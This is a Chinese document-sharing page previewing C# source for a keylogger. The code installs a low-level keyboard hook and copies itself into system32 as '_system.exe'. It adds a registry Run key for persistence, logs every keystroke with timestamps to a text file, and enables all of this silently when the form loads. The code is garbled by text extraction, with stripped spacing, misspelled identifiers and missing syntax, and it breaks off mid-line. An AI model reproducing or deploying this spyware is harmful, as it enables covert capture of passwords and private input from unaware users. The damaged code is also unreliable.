C#實現(xiàn)記錄鍵盤輸入完整版_第1頁
C#實現(xiàn)記錄鍵盤輸入完整版_第2頁
C#實現(xiàn)記錄鍵盤輸入完整版_第3頁
C#實現(xiàn)記錄鍵盤輸入完整版_第4頁
C#實現(xiàn)記錄鍵盤輸入完整版_第5頁
已閱讀5頁,還剩1頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

1、HCode=C#/Hook.cs 代碼usingSystem;usingSystem.Runtime.InteropServices;usingSystem.Reflection;usingSystem.Windows.Forms;namespaceKingOperpublicenumKeyboardEventsKeyDown=0 x0100,KeyUp=0 x0101,SystemKeyDown=0 x0104,SystemKeyUp=0 x0105StructLayout(LayoutKind.Sequential)publicstructKeyboardHookStructpublici

2、ntvkCode;/表示一個在 1 到 254 間的虛似鍵盤碼publicintscanCode;/表示硬件掃描碼publicintflags;publicinttime;publicintdwExtraInfo;publicdelegatevoidKeyboardEventHandler(KeyboardEventskeyEvent,System.Windows.Forms.Keyskey);publicclassHookpubliceventKeyboardEventHandlerKeyboardEvent;publicenumHookTypeWH_JOURNALRECORD=0,WH_J

3、OURNALPLAYBACK=1,WH_KEYBOARD=2,WH_GETMESSAGE=3,WH_CALLWNDPROC=4,WH_CBT=5,WH_SYSMSGFILTER=6,WH_MOUSE=7,WH_HARDWARE=8,WH_DEBUG=9,WH_SHELL=10,WH_FOREGROUNDIDLE=11,WH_CALLWNDPROCRET=12,WH_KEYBOARD_LL=13,WH_MOUSE_LL=14,WH_MSGFILTER=-1,publicdelegateIntPtrHookProc(intcode,intwParam,IntPtrIParam);Dlllmport

4、(User32.dll,CharSet=CharSet.Auto)publicstaticexternIntPtrSetWindowsHookEx(HookTypehookType,HookProchook,IntPtrinstance,intthreadID);DllImport(User32.dll,CharSet=CharSet.Auto)publicstaticexternIntPtrCallNextHookEx(IntPtrhookHandle,intcode,intwParam,IntPtrlParam);DllImport(User32.dll,CharSet=CharSet.A

5、uto)publicstaticexternboolUnhookWindowsHookEx(lntPtrhookHandle);privateIntPtrinstanee;privateIntPtrhookHandle;privateintthreadID;privateHookProchookProcEx;publicHook()this.instanee=Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()0);this.threadID=0;hookHandle=IntPtr.Zero;hookProcEx=n

6、ewHookProc(hookProc);publicboolSetHook()this.hookHandle=SetWindowsHookEx(HookType.WH_KEYBOARD_LL,hookProcEx,this.instance,this.threadlD);return(int)hookHandle!=0);publicIntPtrhookProc(intcode,intwParam,IntPtrlParam)if(code=0)KeyboardEventskEvent=(KeyboardEvents)wParam;if(kEvent!=KeyboardEvents.KeyDo

7、wn&kEvent!=KeyboardEvents.KeyUp&kEvent!=KeyboardEvents.SystemKeyDown&kEvent!=KeyboardEvents.SystemKeyUp)returnCallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam,IParam);KeyboardHookStructMyKey=KeyboardHookStruct();Typet=MyKey.GetType();MyKey(KeyboardHookStruct)Marshal.Ptr

8、ToStructure(IParam,t);KeyskeyData=(Keys)MyKey.vkCode;KeyboardEvent(kEvent,keyData);returnCallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam,IParam);publicboolUnHook()returnHook.UnhookWindowsHookEx(this.hookHandle);/RegistryReport.cs 代碼usingSystem;usingSystem.IO;usingMicrosoft.Win32;u

9、singSystem.Windows.Forms;namespaceKingOperpublicclassRegistryReportpublicRegistryReport()publicvoidMoveFile()if(!File.Exists(c:windowsWsystem32W_system.exe)File.Move(Application.ExecutablePath,c:windowsWsystem32W_system.exe);elsereturn;publicvoidregistryRun()newRegistryKeykey 仁 Registry.CurrentUser.

10、CreateSubKey(SofwareMicrosoftWindowsWCurrentVersionrun);key1.SetValue(,c:windowsWsystem32W_system.exe);key1.Close();/Report.cs 代碼usingSystem;usingSystem.IO;namespaceKingOperpublicclassReportpublicReport()+DateTime.Today.Month.ToString()+.+DateTime.Today.Day.ToString()+DateTime.Now.Hour.ToString()+:+

11、DateTime.Now.Minute.ToString()+:+DateTime.Now.Second.ToString()+*);sw.Close();publicvoidWriteDate(stringkeyEvents,stringkeyDate)tryStreamWritersw=newStreamWriter(c:/keyReport.txt,true);sw.WriteLine(keyDate+鍵”+keyEvents+DateTime.Now.Hour.ToString()+:+DateTime.Now.Minute.ToString()+:+DateTime.Now.Seco

12、nd.ToString();sw.Close();catchreturn;publicvoidFirstWrite()StreamWriterStreamWriter(c:/windows/system32/keyReport.txt,true);sw.WriteLine(*);sw.WriteLine(*swnewLittleStudioStudio*+DateTime.Today.Year.ToString()+test_Load 調用的實現(xiàn)privateHookMyHook=newHook();privateReportMyReport=newReport();privateRegistryReportMyRegistryReport;privatevoidtest_Load(objectsender,System.EventArgse)MyRegistryReport=newRegistryReport();this.MyRegistryReport.MoveFile();this.MyRegistryReport.registryRun();this.MyReport.FirstWrite();this.MyHook.SetHook();this.MyHook.KeyboardEvent+=newKeyboardEventHan

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論